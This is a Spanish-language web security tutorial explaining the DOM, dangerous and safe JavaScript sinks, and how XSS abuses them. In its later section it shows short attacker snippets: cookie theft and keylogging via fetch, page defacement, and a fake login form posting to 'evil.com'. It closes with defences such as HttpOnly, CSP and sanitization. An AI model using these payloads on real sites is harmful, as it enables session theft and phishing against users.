Definición
El DOM (Document Object Model) es la representación en memoria que construye el navegador cuando recibe un HTML. Es un árbol de objetos en JavaScript que puede leerse y modificarse en tiempo real.

Del HTML al DOM

Cuando el navegador descarga un archivo HTML, no lo muestra directamente. Lo parsea y construye un árbol de objetos en memoria. A ese árbol se le llama DOM.

HTML recibido
<!DOCTYPE html>
<html>
  <head>
    <title>Mi página</title>
  </head>
  <body>
    <h1 id="titulo">Hola, mundo</h1>
    <p class="intro">Bienvenido.</p>
    <!-- Comentario -->
  </body>
</html>

El navegador construye este árbol de nodos:

Document
html
head
title
"Mi página"
body
h1 id="titulo"
"Hola, mundo"
p class="intro"
"Bienvenido."
<!-- Comentario -->

Tipos de nodos

Element Node

Cada etiqueta HTML: <div>, <p>, <script>. Puede tener hijos, atributos y eventos.

Text Node

El contenido de texto dentro de un elemento. <p>Este texto</p> crea un Text Node con "Este texto".

Attribute Node

Los atributos de los elementos: id, class, href, src, onclick...

Comment Node

Los comentarios HTML <!-- ... -->. También son nodos del DOM y pueden contener información sensible.

¿Por qué esto importa para XSS?
Cuando JavaScript inyecta contenido en el DOM (por ejemplo, con innerHTML), el navegador parsea ese contenido como HTML. Si ese contenido viene del usuario sin sanitizar, puede incluir etiquetas <script>, event handlers como onerror, o elementos que ejecuten código arbitrario.

Objetos principales del DOM

El DOM expone una jerarquía de objetos accesibles desde JavaScript. Los más importantes:

window

El objeto global del navegador. Contiene todo lo demás. Propiedades clave:

  • window.location — URL actual
  • window.document — el DOM
  • window.cookies — (no existe, es document.cookie)
  • window.localStorage — almacenamiento local

document

El nodo raíz del árbol DOM. Acceso a todo el contenido:

  • document.cookie — cookies de sesión
  • document.title — título de la página
  • document.body — el <body>
  • document.URL — URL completa

location

Información sobre la URL actual. Fuente común de XSS DOM:

  • location.href — URL completa
  • location.hash — el fragmento #...
  • location.search — query string ?...
  • location.pathname — ruta

navigator

Información sobre el navegador y el usuario:

  • navigator.userAgent — navegador y OS
  • navigator.language — idioma
  • navigator.sendBeacon() — envío de datos en background
  • navigator.geolocation — posición GPS

Selección de nodos

JavaScript
// Selección de elementos
document.getElementById('titulo')          // por ID
document.querySelector('.intro')           // primer match de selector CSS
document.querySelectorAll('p')             // todos los 

document.getElementsByTagName('div') // HTMLCollection de divs document.getElementsByClassName('nav') // por clase // Traversal (navegar el árbol) const el = document.querySelector('h1'); el.parentElement // elemento padre el.children // hijos directos el.nextElementSibling // hermano siguiente el.previousElementSibling // hermano anterior el.closest('.container') // ancestro más próximo

Cómo JavaScript modifica el DOM

Estas son las operaciones que utiliza XSS para modificar páginas, robar datos y ejecutar código:

Sinks peligrosos — inyectan HTML parseado

JavaScript — SINKS PELIGROSOS
// innerHTML — parsea HTML completo (¡incluidos scripts en algunos contextos!)
element.innerHTML = '<img src=x onerror="alert(1)">';

// document.write() — reemplaza el documento completo
document.write('<script>alert(1)</script>');

// outerHTML — reemplaza el elemento completo con su envoltura
element.outerHTML = '<div><script>alert(1)</script></div>';

// insertAdjacentHTML — inserta HTML en posición relativa
element.insertAdjacentHTML('afterend', '<script>alert(1)</script>');

// jQuery equivalentes
$('#el').html('<script>alert(1)</script>');
$('#el').append('<img src=x onerror=alert(1)>');

Sinks seguros — solo texto

JavaScript — SINKS SEGUROS
// textContent — solo texto plano, no parsea HTML
element.textContent = '<script>alert(1)</script>';
// → muestra el texto literal, no ejecuta nada

// innerText — similar a textContent (respeta CSS)
element.innerText = '<b>usuario</b>';
// → muestra "<b>usuario</b>" literalmente

// setAttribute — cuando el atributo no es evaluado
element.setAttribute('data-user', userInput);
// ⚠️ Pero cuidado con: href, src, onclick, style...

Otros sinks peligrosos

JavaScript — EVALUACIÓN DE CÓDIGO
// eval() — ejecuta código JavaScript directamente
eval(userInput);                         // ❌ nunca con input no confiable

// setTimeout / setInterval con string
setTimeout(userInput, 1000);             // ❌ equivalente a eval
setInterval("fetch('/api/'+document.cookie)", 3000); // ❌

// Creación de funciones
new Function(userInput)();               // ❌

// Atributos que ejecutan JS
el.setAttribute('href', 'javascript:alert(1)');   // ❌
el.setAttribute('onclick', userInput);            // ❌
el.setAttribute('src', 'javascript:...');         // ❌
Demo interactiva
Abre la consola de tu navegador (F12 → Console) y prueba:
// Ver cookies accesibles desde JS
console.log(document.cookie);

// Modificar el título de esta página
document.title = 'DOM modificado!';

// Cambiar el color del fondo
document.body.style.background = '#1a0a0a';

// Crear un elemento nuevo
const div = document.createElement('div');
div.textContent = 'Inyectado con JS';
div.style.cssText = 'position:fixed;top:20px;right:20px;background:#f43f5e;color:white;padding:10px;border-radius:8px;z-index:9999';
document.body.appendChild(div);

¿Cómo se conecta el DOM con XSS?

XSS (Cross-Site Scripting) es fundamentalmente un ataque al DOM. El objetivo del atacante es conseguir que el navegador de la víctima ejecute JavaScript bajo el dominio de la aplicación atacada. Una vez logrado, tiene acceso completo al DOM: cookies, formularios, contenido, historial de navegación.

El ciclo de un ataque XSS

Atacante
crafts payload
Servidor
refleja/almacena
Navegador
parsea HTML
DOM
ejecuta JS
Datos
recibe datos

Qué puede hacer un atacante con acceso al DOM

Robo de sesión

// Las cookies sin HttpOnly son visibles
fetch('/api/collect?c=' +
  encodeURIComponent(document.cookie));

Defacement

// Reemplazar todo el contenido visual
document.body.innerHTML =
  '<h1 style="color:red">HACKED</h1>';

Phishing / Fake login

// Inyectar un form falso sobre la página
const overlay = document.createElement('div');
overlay.innerHTML = '<form action="evil.com">
  ...</form>';
document.body.prepend(overlay);

Keylogging

// Capturar todo lo que teclea el usuario
document.addEventListener('keypress', e =>
  fetch('/api/collect?k=' + e.key));
¿Qué protege el DOM de estos ataques?
  • Same-Origin Policy (SOP): el JS inyectado solo puede leer datos del mismo origen, pero puede enviarlos a cualquier sitio
  • Flag HttpOnly: impide que document.cookie devuelva cookies marcadas así
  • Content Security Policy (CSP): cabecera HTTP que restringe qué scripts pueden ejecutarse
  • Sanitización de input: escapar <, >, " antes de insertar en HTML